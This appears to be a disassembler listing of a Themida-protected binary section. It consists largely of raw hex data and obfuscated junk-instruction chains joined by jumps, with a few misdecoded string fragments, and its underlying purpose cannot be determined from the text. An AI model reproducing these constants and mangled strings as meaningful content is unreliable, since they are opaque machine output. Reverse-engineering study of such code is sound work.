0F26E12EEh, 6275E97Fh, 0C4810000h, 4, 76DBF57h dd 0ECE974DFh, 28FFFFC4h, 4CEB80E3h, 3B5E958h, 0D3890000h dd 5C4DE95Ah, 24680000h, 5B000000h, 890B951h, 0CE293333h dd 23DFE9h, 57F78100h, 174FEB5h, 0C8095FF9h, 81240C8Bh dd 4C4h, 57F72D00h, 0D8E927CFh db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53AAA3: ; CODE XREF: Themida_:0053EDC0j and ecx, ebx pop ebx shr ecx, 2 push 75C1h jmp loc_53A73C ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 jmp loc_538492 ; --------------------------------------------------------------------------- db 81h, 0E1h, 0A7h dd 4961426Fh, 267BE981h, 0CB31ED6Ah, 341AE9h, 0C3E95900h dd 0FEFFFFCCh, 2C4834C8h, 58C728DEh, 0FE04EFC0h, 91EF80CFh dd 6AF3E9h db 0 ; --------------------------------------------------------------------------- loc_53AAF1: ; CODE XREF: Themida_:005376D8j push 3A611DEAh mov edx, [esp] jmp loc_538BFB ; --------------------------------------------------------------------------- dw 815Bh dd 28EB2AC2h, 1C57219Ch, 5A2434FFh, 81E78957h, 4C7h, 4B95100h dd 81000000h, 0D74F0CC7h, 81CF014Bh, 0D74F0CEFh, 3C87594Bh dd 8FE95C24h db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AB33: ; CODE XREF: Themida_:00536F29j mov esp, [esp] push esi mov esi, 0D752735h push 898h mov [esp], edi mov edi, 1F04468Bh neg edi jmp loc_537F73 ; --------------------------------------------------------------------------- dd 0D800AA2Ch, 0B4505266h, 0FEEC80A8h, 99E9E288h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53AB63: ; CODE XREF: Themida_:0053FC5Bj mov [esp], ebx mov ebx, 1Ch jmp loc_53933B ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 81000000h, 4EBh, 0F2D5E900h, 0C781FFFFh dd 2FD3D3B7h, 37E9F801h, 89FFFFE8h, 0E2892414h, 4C281h dd 0E9570000h, 74EBh, 4C0835Fh, 8B240487h, 0FEE92424h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53ABB3: ; CODE XREF: Themida_:005422CFj xchg esi, [esp] mov esp, [esp] push ecx jmp loc_53A593 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B3877h, 8B545124h, 0C483240Ch, 0E7D3E904h, 0D3F6FFFFh dd 28DAB050h, 536658C3h, 0FFE5A9E9h, 0FCED80FFh, 0E9EB8853h dd 134h, 14A8685Ch, 1C890000h, 46B724h, 2434FFF8h, 0E9241C8Bh dd 8219h ; --------------------------------------------------------------------------- loc_53AC04: ; CODE XREF: Themida_:00537908j pop esp push 60BFh mov [esp], edi push ecx jmp loc_53D9FD ; --------------------------------------------------------------------------- db 1 aZsf db 'сZИf',1Bh,0 dw 0FF00h dd 34FF2434h, 54575924h, 4C7815Fh, 0E9000000h, 6237h ; --------------------------------------------------------------------------- loc_53AC30: ; CODE XREF: Themida_:0053EE90j sub ebx, 6B6636h jmp loc_542A88 ; --------------------------------------------------------------------------- aQsic db 'QИIC',0 db 0 ; --------------------------------------------------------------------------- loc_53AC41: ; CODE XREF: Themida_:005424B2j pop esi pop ebp inc ebx push esi push eax jmp loc_538544 ; --------------------------------------------------------------------------- db 83h dd 0D3F701C3h, 559068h, 243C8900h, 0BE65E2BFh, 0F4F78126h dd 874A4E64h, 87D2F7D7h, 81DFF7D7h, 0D3876CFh, 0F9EF8140h dd 94B2AEEh, 243C8BFBh, 7DF7E9h db 0 ; --------------------------------------------------------------------------- loc_53AC81: ; CODE XREF: Themida_:00537799j push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push ebx mov ebx, 4000h push ebx jmp loc_53B788 ; --------------------------------------------------------------------------- db 0B9h dd 4, 42E9CA01h, 1000014h, 0B2BE56E9h, 0F70D9367h, 2B41E9D6h dd 9BB00000h, 0FFFE0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53ACCD: ; CODE XREF: Themida_:0054184Cj add esp, 4 add edi, 851F8EADh add ecx, edi jmp loc_53B673 ; --------------------------------------------------------------------------- dd 7D41ED81h, 0C50138EBh, 7D41C581h, 90E938EBh, 49FFFFE8h dd 0C181D9F7h, 86BDAF81h, 3359CF01h, 3C31243Ch, 56C3E924h dd 14890000h, 0EDBF5724h, 0E947C11Dh, 0FFFFCDA2h, 0E9E28952h dd 0FFFFF97Ch, 1E9DA88h, 51000041h, 4B9h, 59C80100h, 5004E883h dd 42474FFh, 24048F58h, 2414895Ch, 34F9E956h, 77E90000h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AD4B: ; CODE XREF: Themida_:0053E4AAj pop edi jmp loc_542B68 ; --------------------------------------------------------------------------- db 53h, 0BBh, 18h dd 0E9404A7Ah, 0FFFFD8E0h, 7070E7BEh, 5EF70927h, 2405E9h dd 81D2F700h, 0EB7DA4EAh, 5B8C6832h, 53E90000h, 0E9000046h dd 0FFFFC042h, 1F67F781h, 14E9093Dh, 5E00003Bh, 0C04D9005h dd 0D48EE9E0h, 575AFFFFh, 4BFh, 0E9F92900h, 1D4Fh, 24048B66h dd 47B968h, 243C8900h, 53068h, 4355E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53ADBA: ; CODE XREF: Themida_:0053C294j push ebx jmp loc_53F1EE ; --------------------------------------------------------------------------- dd 4C3815Bh, 52000000h, 0FFFB9DE9h, 885053FFh, 58C788D0h dd 0FA88DFF6h, 0ECCA805Bh, 0C8AE9h, 0C8B6600h, 59545124h dd 0E904EC83h, 0FFFFFB95h, 0E9D831ADh, 3AC8h ; --------------------------------------------------------------------------- loc_53ADF8: ; CODE XREF: Themida_:00541381j sub esi, 79B1E35Ch sub esp, 4 mov [esp], esi pop edx jmp loc_53BD0B ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C870000h, 3BE95C24h, 8100000Fh, 4ECh, 0E0A8E900h dd 0E95CFFFFh, 656Dh, 8896EA80h, 98E95AD4h, 66000054h dd 5024048Bh, 72685854h, 89000041h, 94BF243Ch, 0F72C5E21h dd 6EFC1DFh, 6B8EF781h, 0D7F75F11h, 63CFC781h, 0EF811C3Bh dd 0BFDB76D3h, 46D4E9h, 0D1895E00h, 0C3E9E95Ah, 2C89FFFFh dd 0E9E58924h, 3E11h, 5A2434FFh, 0D9E95451h, 81000040h dd 694072C1h, 49C18118h, 8B1FAF5Ah, 0C481241Ch, 4, 7894C181h dd 48B49A0h, 346AE924h, 89560000h, 4C681E6h, 68000000h dd 0EDFh, 51242C89h, 5237EFB9h, 37EDBD49h, 0CD314952h dd 6507E959h, 665C0000h, 6866F9F7h, 89664DA6h, 50662414h dd 0BEDCE99Ch, 0E959FFFFh, 7933h, 809FF780h, 6FE9F7C7h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53AEF7: ; CODE XREF: Themida_:0053CBBBj pop esi shr ebx, 6 push ecx push 0C404046h pop ecx or ebx, ecx pop ecx push 74E5h mov [esp], ebp mov ebp, 498B335Ch shr ebp, 2 not ebp sub ebp, 0A4DA0549h jmp loc_53E229 ; --------------------------------------------------------------------------- dw 0E980h dd 8BC83044h, 8950240Ch, 405E0h, 1BE90000h, 8100002Ch dd 4ECh, 243C8900h, 2434FF54h, 4C4835Fh, 13B9E950h, 4050000h dd 83000000h, 48704E8h, 4895C24h, 0C080B024h, 0D8F606E0h dd 0C3000604h, 5BEB8058h, 0C380C328h, 6EB805Bh, 4EC8351h dd 50241C89h, 0D82478B0h, 0F50C1104h, 342CFF2Ch, 0E958C388h dd 0FFFFE580h, 242C335Fh, 33242C31h, 248B242Ch, 68F9F724h dd 337Ch, 50241489h, 0BE14E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AFAE: ; CODE XREF: Themida_:0053E74Cj pop eax add eax, 4 push ebx mov ebx, 20D11BE3h shl ebx, 7 jmp loc_542792 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 2474FF56h, 48F5E04h, 24248B24h, 55FBE9h, 70B85000h dd 294D49C3h, 1D2FE9C7h, 34FF0000h, 0EC815824h, 4, 0E9242C89h dd 0FFFFE457h, 8B243C87h, 34FF2424h, 2434FF24h, 4299685Ah dd 4890000h, 0E9585424h, 5E3Ah, 31240C33h, 0C33240Ch, 24248B24h dd 2E31E9h, 24048900h, 8B2434FFh, 0B9E92404h, 31000074h dd 0D0295FFAh, 8124148Bh, 4C4h, 0C346E900h, 8F58FFFFh dd 0FF5C2404h, 52582434h, 348EE9h, 4BED8100h, 457A4904h dd 59DFE581h, 0F5815777h, 59C6DE7Dh, 0FEE9EB01h, 8B00002Fh dd 0ECE9242Ch, 1000034h, 345DE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B07E: ; CODE XREF: Themida_:0053F72Dj push esi push ebx push 4B9C71C4h jmp loc_539BB1 ; --------------------------------------------------------------------------- loc_53B08A: ; CODE XREF: Themida_:00541F32j add edx, 4 add edx, 4 jmp loc_53E352 ; --------------------------------------------------------------------------- loc_53B098: ; CODE XREF: Themida_:0053C17Dj add ebx, 2129032Dh jmp loc_53DB32 ; --------------------------------------------------------------------------- db 0ACh dd 0FEF7B753h, 0B3EF80C7h, 5BF800h, 0CFE952D8h, 0BB000061h dd 27BD8A0Dh, 0E95BDD29h, 235Eh ; --------------------------------------------------------------------------- loc_53B0C4: ; CODE XREF: Themida_:0053A1A5j mov eax, [esp] add esp, 4 add ebx, 4 jmp loc_53C9D3 ; --------------------------------------------------------------------------- db 80h, 0C3h, 94h dd 0EB80C328h, 0CECDE994h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B0E2: ; CODE XREF: Themida_:00542061j add al, 0A8h pop ebx jmp loc_538833 ; --------------------------------------------------------------------------- loc_53B0EA: ; CODE XREF: Themida_:0053D394j mov eax, 3E502B32h mov ebx, eax pop eax add ecx, ebx pop ebx pop edx sub esp, 4 mov [esp], edi push ebx mov ebx, 98165BCh mov edi, ebx mov ebx, [esp] add esp, 4 push eax jmp loc_539262 ; --------------------------------------------------------------------------- aNs4a db '╜И4A',0 align 4 aHpc db 'hpc',0 dd 24248900h, 4240483h, 4C18159h, 81000000h, 4C1h, 240C8700h dd 4EC815Ch, 89000000h, 0F1E92414h, 8900007Ch, 4812424h dd 424h, 0FC6AE900h, 8958FFFFh, 241C8BDEh, 86E9h db 0 ; --------------------------------------------------------------------------- loc_53B161: ; CODE XREF: Themida_:0053BDD4j pop ecx jmp loc_53C3BF ; --------------------------------------------------------------------------- db 0B8h dd 4, 242C8150h, 4C1C0D32h, 32C18159h, 584C1C0Dh, 4246C81h dd 0BD382Fh, 53C7E9h, 1C77FF00h, 6658669Dh, 9C240411h dd 0FFBC29E9h db 0FFh ; --------------------------------------------------------------------------- loc_53B199: ; CODE XREF: Themida_:0053821Fj push dword ptr [esp] mov ebx, [esp] jmp loc_53A0BD ; --------------------------------------------------------------------------- loc_53B1A4: ; CODE XREF: Themida_:00538C9Aj push ebx mov ebx, 1D474C53h sub ebx, 0A29A2A09h add eax, ebx pop ebx jmp loc_5389A9 ; --------------------------------------------------------------------------- dd 4C4835Fh, 3B27E957h, 1C890000h, 0F501E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B1CA: ; CODE XREF: Themida_:0053976Ej not ebp inc ebp add ebp, 929680E5h sub ebx, ebp pop ebp sub ebx, 81B23E95h xor ebx, 50E77775h jmp loc_5375CB ; --------------------------------------------------------------------------- db 83h dd 0B85004C4h, 58495777h, 504E8C1h, 44B736Eh, 0E305D0F7h dd 35593735h, 35894C25h, 6858C621h, 7221h, 0BB241C89h dd 0D455615h, 13C8CB81h, 0E3C13479h, 8EEB8105h, 218144CBh dd 0DE4AE9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B22A: ; CODE XREF: Themida_:00540673j push ebx jmp loc_53EE1F ; --------------------------------------------------------------------------- dd 3047C680h, 117FE9F4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B23A: ; CODE XREF: Themida_:00541070j or edx, eax shl edx, 1 jmp loc_53F153 ; --------------------------------------------------------------------------- db 1 dd 240C8BCBh, 4A9DE9h, 0D3E95600h, 50000022h, 0FFFF0EE9h dd 0C895CFFh, 81595424h, 4C1h, 0D302E900h, 4BDFFFFh, 29000000h dd 242C8BE8h, 3304C483h, 67E92404h, 100002Fh, 0CDEE81D6h dd 5A502B26h, 2B951h, 32E90000h, 8B000046h, 0C483243Ch dd 24048F04h, 0FFBB21E9h, 24248BFFh, 24048B66h, 421EE9h db 0 ; --------------------------------------------------------------------------- loc_53B2AD: ; CODE XREF: Themida_:0053E621j push edi jmp loc_5375E8 ; --------------------------------------------------------------------------- aI4EjqzsD db '┴4$╬╔j÷zИ',0Dh,'D',0 align 10h dd 24048F5Fh, 19ABE9h db 0 ; --------------------------------------------------------------------------- loc_53B2C9: ; CODE XREF: Themida_:005394C6j mov edi, eax pop eax jmp loc_53CEA3 ; --------------------------------------------------------------------------- db 80h, 0EBh, 93h dd 0C9CBE952h, 2DADFFFFh, 2A20479Bh, 7574B951h, 0D9F71246h dd 31FDC181h, 94E97BD7h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B2F3: ; CODE XREF: Themida_:0053996Fj mov eax, [esp] push 12B1h jmp loc_542993 ; --------------------------------------------------------------------------- dd 24048B66h, 113A68h, 242C8900h, 4A4968h, 0FF37E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B316: ; CODE XREF: Themida_:0053C48Ej xor [esp+4], ebx pop ebx pop esi sub esp, 4 mov [esp], ecx jmp loc_53F777 ; --------------------------------------------------------------------------- dw 48Fh dd 91E95C24h, 87FFFFC6h, 248B243Ch, 5A545224h, 4C281h dd 0BE560000h, 4, 525EF201h, 42474FFh, 24048F5Ah, 0E924248Bh dd 0FFFFC4AEh ; --------------------------------------------------------------------------- loc_53B35C: ; CODE XREF: Themida_:0053BD0Cj add edx, edi jmp loc_53DFBF ; --------------------------------------------------------------------------- db 89h dd 4812424h, 424h, 55575800h, 0FD0F1ABDh, 0A9C58109h, 4542933Ch dd 0E5814D4Dh, 678349C5h, 584EF581h, 0C5E923A8h, 58FFFFC4h dd 0FFD6F3E9h, 243C89FFh, 50243481h, 8F3D616Fh, 0BD555100h dd 0 dd 5FE9E9h db 0 ; --------------------------------------------------------------------------- loc_53B3AD: ; CODE XREF: Themida_:0053D083j pop ebx jmp loc_53FB45 ; --------------------------------------------------------------------------- aM0Qsfr db '╛0ьQИfr',0 align 4 dd 24048B66h, 28368h, 2C36E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B3CA: ; CODE XREF: Themida_:0053F559j push dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 push ebx mov ebx, 315D4CAAh xor ebx, 754F7DACh or ebx, 5510153Dh xor ebx, 5512353Bh add esi, ebx pop ebx push esi push dword ptr [esp+4] pop esi jmp loc_53D8A3 ; --------------------------------------------------------------------------- db 1, 0F3h, 5Eh dd 8B241C87h, 0EC832424h, 24148904h, 0FDE6856h, 348B5165h dd 4C48124h, 0E9000000h, 0FFFFECF2h ; --------------------------------------------------------------------------- loc_53B420: ; CODE XREF: Themida_:0053C373j mov esi, esp add esi, 4 push eax push 4 pop eax add esi, eax pop eax xchg esi, [esp] pop esp loc_53B436: ; CODE XREF: Themida_:0053CA7Fj ; Themida_:00540AA3j push edx push ebx pop edx push edx xor dword ptr [esp], 15F8064Bh mov eax, [esp] push edi push esp jmp loc_53BD11 ; --------------------------------------------------------------------------- aBAd db '│а╫A└',0 db 8Bh, 1Ch, 24h dd 8304C483h, 0C8904ECh, 2474FF24h, 240C8B04h, 8F04C483h dd 0FF5C2404h, 0E9592434h, 400Ah, 0F701E983h, 7FB850D9h dd 538D442h, 0F0BEDCB5h, 8158C131h, 935DCFC1h, 0F9ED816Ch dd 152693Dh, 0F9C581CDh, 0E952693Dh, 0FFFFE7BFh, 77B95153h dd 0BB18EC7Ch, 0E713838Bh, 159CB01h, 0FF565BDEh, 5E042474h dd 8B24048Fh, 29662424h, 0E99C2404h, 0FFFFF20Ch ; --------------------------------------------------------------------------- loc_53B4C8: ; CODE XREF: Themida_:00539BD2j add esi, 0B46B8E3Ch jmp loc_537DF2 ; --------------------------------------------------------------------------- aZBP5sV db '┤Й│б~P+5И╩v',0 align 10h dd 243C335Dh, 33243C31h, 248B243Ch, 66E9F624h, 0E9CCB60Fh dd 718h, 3E51F0BFh, 0D53DB95Fh, 0F901CE65h, 4A38E95Fh dd 0C4BE0000h, 171EE22h, 0B9515EF2h, 3BDF7269h, 0BCEE9h dd 0FFC18100h, 49FFFFFFh, 6AB2E981h, 0E1D17D05h, 0BDB8C181h dd 4FE9677Bh, 0BB000052h, 0EC77AE6Dh, 348BF331h, 4C48324h dd 0FF1C5F21h, 13E92434h, 6600004Dh, 43E932FFh, 89000033h dd 0E9552434h, 38EAh, 3350E952h, 2B680000h, 5B234243h dd 62E9D3F7h, 5EFFFFF3h, 0FFDA7BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53B579: ; CODE XREF: Themida_:0053A70Bj sub eax, 5666DA2h push ebx mov ebx, 0B096904h add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_53CCBA ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd offset aSysinfoCpuI64u+94h dd 0F150E900h, 815BFFFFh, 4C3h, 0E1895100h, 4C181h, 0E9810000h dd 4, 0E9240C87h, 0FFFFEF5Eh ; --------------------------------------------------------------------------- loc_53B5BC: ; CODE XREF: Themida_:00542B90j xor ecx, ebx pop ebx add edi, 71AD34AFh add edi, ecx push edx mov edx, 568C0030h jmp loc_53EA66 ; --------------------------------------------------------------------------- aRtsO db ')ьRTИтO',0 db 0 ; --------------------------------------------------------------------------- loc_53B5DB: ; CODE XREF: Themida_:0053A24Cj pop ebx mov ecx, [esp] push esi jmp loc_53DB62 ; --------------------------------------------------------------------------- db 51h, 0B9h, 13h dd 0F72A6318h, 0AAC181D1h, 8118917Ch, 2E6492F1h, 59CD01EEh dd 1CC26857h, 0E95F117Ch, 2115h, 1C8BDA31h, 4C48324h, 0E91C5721h dd 1D70h, 981F2D40h, 0C3296FB0h, 5BDA0158h, 1D70E9h, 24148900h dd 3757E9h, 1FE95A00h, 5800001Dh, 0C005E1C0h, 0DFE904E1h dd 87FFFFF8h, 0F78147DFh, 0C0F87ADAh, 0D103E7C1h, 24F781E7h dd 0E919C19Fh, 437Ch, 242C895Ch, 0BE565D54h, 7EF62C02h dd 2C06F681h, 0CFE97EF6h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B673: ; CODE XREF: Themida_:0053ACDBj pop edi sub esp, 4 mov [esp], edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] movsx ecx, al push 5BC9h mov [esp], ecx jmp loc_536DC2 ; --------------------------------------------------------------------------- loc_53B69E: ; CODE XREF: Themida_:00537E07j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp or eax, eax jz loc_539B12 push dword ptr [edi+1Ch] push esi mov esi, 39AD0A0Bh sub [esp+4], esi pop esi push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_53D601 ; --------------------------------------------------------------------------- dd 4C581h, 0EC830000h, 243C8904h, 2BFh, 6753E900h, 0F5810000h dd 0A0F8C12Ah, 15DEE01h, 1308E9D6h, 34FF0000h, 0C4815824h dd 4, 0E924048Fh, 0FFFFDF55h ; --------------------------------------------------------------------------- loc_53B708: ; CODE XREF: Themida_:00542862j mov [esp], ebx jmp loc_53C112 ; --------------------------------------------------------------------------- loc_53B710: ; CODE XREF: Themida_:005389F7j add esp, 4 push edx push edi mov edi, 0FD02864h jmp loc_53978B ; --------------------------------------------------------------------------- loc_53B71F: ; CODE XREF: Themida_:005416ACj mov [esp], ebx mov ebx, 3E3D52F7h not ebx sub ebx, 0C1C2AD04h add ecx, ebx pop ebx push eax mov eax, 5BB00060h jmp loc_53BE29 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0EBC094B3h, 5203E905h, 51660000h, 0B670E99Ch, 815FFFFFh dd 0F32D74C2h, 2434FF09h, 4C48159h, 33000000h, 14312414h dd 24143324h, 0AF0F665Ch, 0FFD4E9C8h, 0EF80FFFFh, 1643E9F4h dd 4BB0000h, 0E9000000h, 0E1Bh ; --------------------------------------------------------------------------- loc_53B788: ; CODE XREF: Themida_:0053ACA6j pop edx mov ebx, [esp] jmp loc_53E0E8 ; --------------------------------------------------------------------------- db 5Ah, 81h, 0C4h dd 4, 8B24048Fh, 44E92424h, 89FFFFEDh, 0F7485AD0h, 609E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B7AE: ; CODE XREF: Themida_:0053E083j add esp, 4 jmp loc_53FD31 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 15A0000h, 24148BD3h, 8104C483h, 2C3h, 0AF8E900h, 0BD550000h dd 6B1264D3h, 4A2622B8h, 6C93E97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B7E2: ; CODE XREF: Themida_:0053CEBFj add dword ptr [edx+30h], 185D6310h xor dword ptr [edx+30h], 7E5E1821h push ebp push ecx mov ecx, 29025575h mov ebp, 0EE6108C6h add ebp, ecx pop ecx push edx push eax push ebx mov ebx, 7418103Ah jmp loc_54044F ; --------------------------------------------------------------------------- loc_53B80C: ; CODE XREF: Themida_:0053FF33j pop edi inc esi push edi mov edi, 0F487AA05h jmp loc_53D635 ; --------------------------------------------------------------------------- loc_53B819: ; CODE XREF: Themida_:0053BB2Fj push ebp push ebx push 6AB169D2h pop ebx add ebx, 382036E4h xor ebx, 332516C1h push eax jmp loc_53D771 ; --------------------------------------------------------------------------- aZSv db '┤ЙИ╒',0 dd 88500000h, 0ED18E9F0h, 0EE81FFFFh, 53E51FBFh, 24148B56h dd 0FFD4F6E9h, 242C89FFh, 0E71A8C68h, 0BE565D47h, 1FED0D91h dd 52E4E9h, 52BD5500h, 0F755B200h, 4D4545DDh, 121DE9h dd 0E95B00h, 53000000h, 0C3815B54h, 4, 0FFD6E1E9h, 24EA80FFh dd 7BC280h, 68515AD3h, 603Ch, 51241489h, 0D4E9C588h, 8100001Fh dd 0A73E5CEAh, 0BA5EE978h, 805AFFFFh, 49E9F4E9h, 1FFFFCEh dd 0D8EE81DEh, 5B7F311Dh, 8702C683h, 0D6E92434h, 80FFFFF9h dd 0EE2828EEh, 0FFB695E9h, 0E9D801FFh, 1DB6h, 0EA87D5F7h dd 13CDBF57h, 814F41BFh, 2F7B4BE7h, 0F7D78750h, 0E9D787D2h dd 61Fh, 0B5CC381h, 58E96D5Bh, 5AFFFFBDh, 2474FF51h, 0BD24E904h dd 0C531FFFFh, 73D5E958h, 4890000h, 0B4A4E924h, 0E95CFFFFh dd 409Eh ; --------------------------------------------------------------------------- loc_53B924: ; CODE XREF: Themida_:0053754Cj push esi push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_538077 ; --------------------------------------------------------------------------- loc_53B936: ; CODE XREF: Themida_:0053D677j mov esp, [esp] push 60E6h mov [esp], ebx push eax jmp loc_53FA53 ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 4C181h, 0C870000h, 0D58DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B95E: ; CODE XREF: Themida_:00541C0Aj xor ch, 0C9h add bl, ch mov ecx, [esp] jmp loc_538519 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 57000000h, 4BFh, 0F6C58100h, 156C64Eh, 0F6ED81FDh dd 5F56C64Eh, 31242C33h, 2C33242Ch, 4055C24h, 0E9000000h dd 0FFFFBF57h, 31242C33h, 2C33242Ch, 24248B24h, 24048B66h dd 8904EC83h, 25E9241Ch db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B9B7: ; CODE XREF: Themida_:0053C9CEj mov [esp], edx mov edx, 6DD9647Dh push ecx mov ecx, 747255E7h jmp loc_537897 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0BE9h, 4C28100h, 0E9000000h, 61Ah, 4C681h, 0C6810000h dd 2, 0E9243433h, 8E3h, 2130C181h, 0CF89103Ah, 227BE9h dd 5CBA5200h, 81776601h, 0C97F68F2h, 30F28140h, 137AF7Eh dd 24148BD1h, 4C481h, 0FFE90000h, 52FFFFBCh, 42474FFh dd 24048F5Ah, 0C8B665Ch, 7CA86824h, 2C890000h, 0E95D5424h dd 0FFFFFC90h, 4BAh, 611C2D00h, 8D050BBEh, 2D60D452h, 57265E24h dd 8713B22Dh, 21C0E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BA5E: ; CODE XREF: Themida_:0053C421j add edi, esi jmp loc_53F5F7 ; --------------------------------------------------------------------------- aSpu db '^ИpU',0 dw 0F600h aP_0 db 'рP╢╩',0 db 0E2h, 0E9h, 0C9h dd 33FFFFB5h, 248B2434h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 582434FFh, 53585450h, 0FFFCE1E9h, 2AC8B9FFh dd 0CF891AD4h, 0FFE01DE9h, 240C89FFh, 38B9h, 36C18100h dd 1153E03h, 99B850F9h, 2537F464h, 6F6843A7h, 4B2D4048h dd 2912223Dh, 24048BC1h, 4C481h, 1880000h, 81240C8Bh, 4ECh dd 24048900h, 405E089h, 83000000h, 9EE904C0h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BAF3: ; CODE XREF: Themida_:00536EBEj mov [esp], ebx jmp loc_53C9C9 ; --------------------------------------------------------------------------- db 68h dd 67B5357Dh, 0C7F0E95Ah, 90BAFFFFh, 814E7572h, 980D3CC2h dd 0C14A4A50h, 0C28106E2h, 4CB0865Ch, 15AD329h, 3947E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53BB26: ; CODE XREF: Themida_:0053F508j add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_53B819 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFB347h, 2B9h, 8BC80100h, 0C481240Ch dd 4, 31240433h, 4332404h, 24248B24h, 4AB0F66h, 5FE99C24h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BB63: ; CODE XREF: Themida_:0053CE91j xchg edi, [esp] jmp loc_540083 ; --------------------------------------------------------------------------- db 0D1h dd 1AEB81EBh, 892B088Dh, 7DE95BDFh, 100004Eh, 0B85058C5h dd 3D0A0085h, 283A6E25h, 2DD8F706h, 0FBF7FFF8h, 48BC501h dd 4C48324h, 0FFE613E9h, 0B220E9FFh, 6E68FFFFh, 89000052h dd 2BA2414h, 1000000h, 5DE95AD1h, 89000071h, 9C502414h dd 0FFDE59E9h, 99C781FFh, 81FB2BB2h, 0BD0F61EBh, 0E9FB014Bh dd 0FFFFE108h, 4C281h, 14870000h, 24248B24h, 6DEBBE56h dd 0E952146Ch, 6FAh, 42474FFh, 8124148Bh, 4C4h, 24048F00h dd 6624248Bh, 0E99CC885h, 0FFFFB1BAh, 0E902E0C1h, 3D3Ch dd 5FC36866h, 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFB19Eh dd 88568h, 24148900h, 340968h, 24248900h, 4240481h, 5A000000h dd 416FBF57h, 0F78142C3h, 42C3416Bh, 0FFCA18E9h db 0FFh ; --------------------------------------------------------------------------- loc_53BC4D: ; CODE XREF: Themida_:0053E4F2j mov [esp], ebx push dword ptr [esp] pop eax push eax jmp loc_539C93 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4EC81h, 3C890000h, 0CA685124h, 5903100Dh, 226FF181h dd 56495D95h, 453F9FBEh, 6EEC162h, 3B5EF681h, 0F1295F0Ch dd 8324348Bh, 0CF8904C4h, 5E53E959h, 0E95F0000h, 0FFFFE80Fh dd 4BFh, 70BFE900h, 0D2F70000h, 0E902EAC1h, 0FFFFFBF3h ; --------------------------------------------------------------------------- loc_53BCB0: ; CODE XREF: Themida_:0053CA8Dj mov edx, 5A8240C6h sub edx, 1 not edx and edx, 0D7D10D2h and edx, 1CE3964h push ebp push edi mov edi, 5B3122A3h mov ebp, 0F6D7ED50h add ebp, edi pop edi sub ebp, 405B433Eh not ebp inc ebp add ebp, 5D6E6F96h jmp loc_539EFE ; --------------------------------------------------------------------------- loc_53BCE9: ; CODE XREF: Themida_:0053C647j push ebx mov ebx, 4 jmp loc_53C3A3 ; --------------------------------------------------------------------------- loc_53BCF4: ; CODE XREF: Themida_:0053814Cj pop ebp pop ecx pop edx jmp loc_53E662 ; --------------------------------------------------------------------------- loc_53BCFC: ; CODE XREF: Themida_:0053C0E6j shr edi, 5 push ecx push edi mov edi, 24563B31h jmp loc_53D123 ; --------------------------------------------------------------------------- loc_53BD0B: ; CODE XREF: Themida_:0053AE05j pop esi jmp loc_53B35C ; --------------------------------------------------------------------------- loc_53BD11: ; CODE XREF: Themida_:0053B446j pop edi jmp loc_53D50A ; --------------------------------------------------------------------------- db 8Bh dd 1662424h, 0E99C2404h, 0FFFFB09Eh ; --------------------------------------------------------------------------- loc_53BD24: ; CODE XREF: Themida_:0053CF05j push 0FE0h mov [esp], esi mov esi, 19121367h jmp loc_53A033 ; --------------------------------------------------------------------------- dw 248Bh dd 242C8924h, 172FFBBDh, 0CD814D7Fh, 349B6E8Fh, 0F369E953h dd 34FFFFFFh, 2434FF24h, 0BCCFE959h, 0EB81FFFFh, 7B8212Ch dd 136DEB81h, 0DF89F938h, 81241C8Bh, 4C4h, 3E01E900h db 2 dup(0) 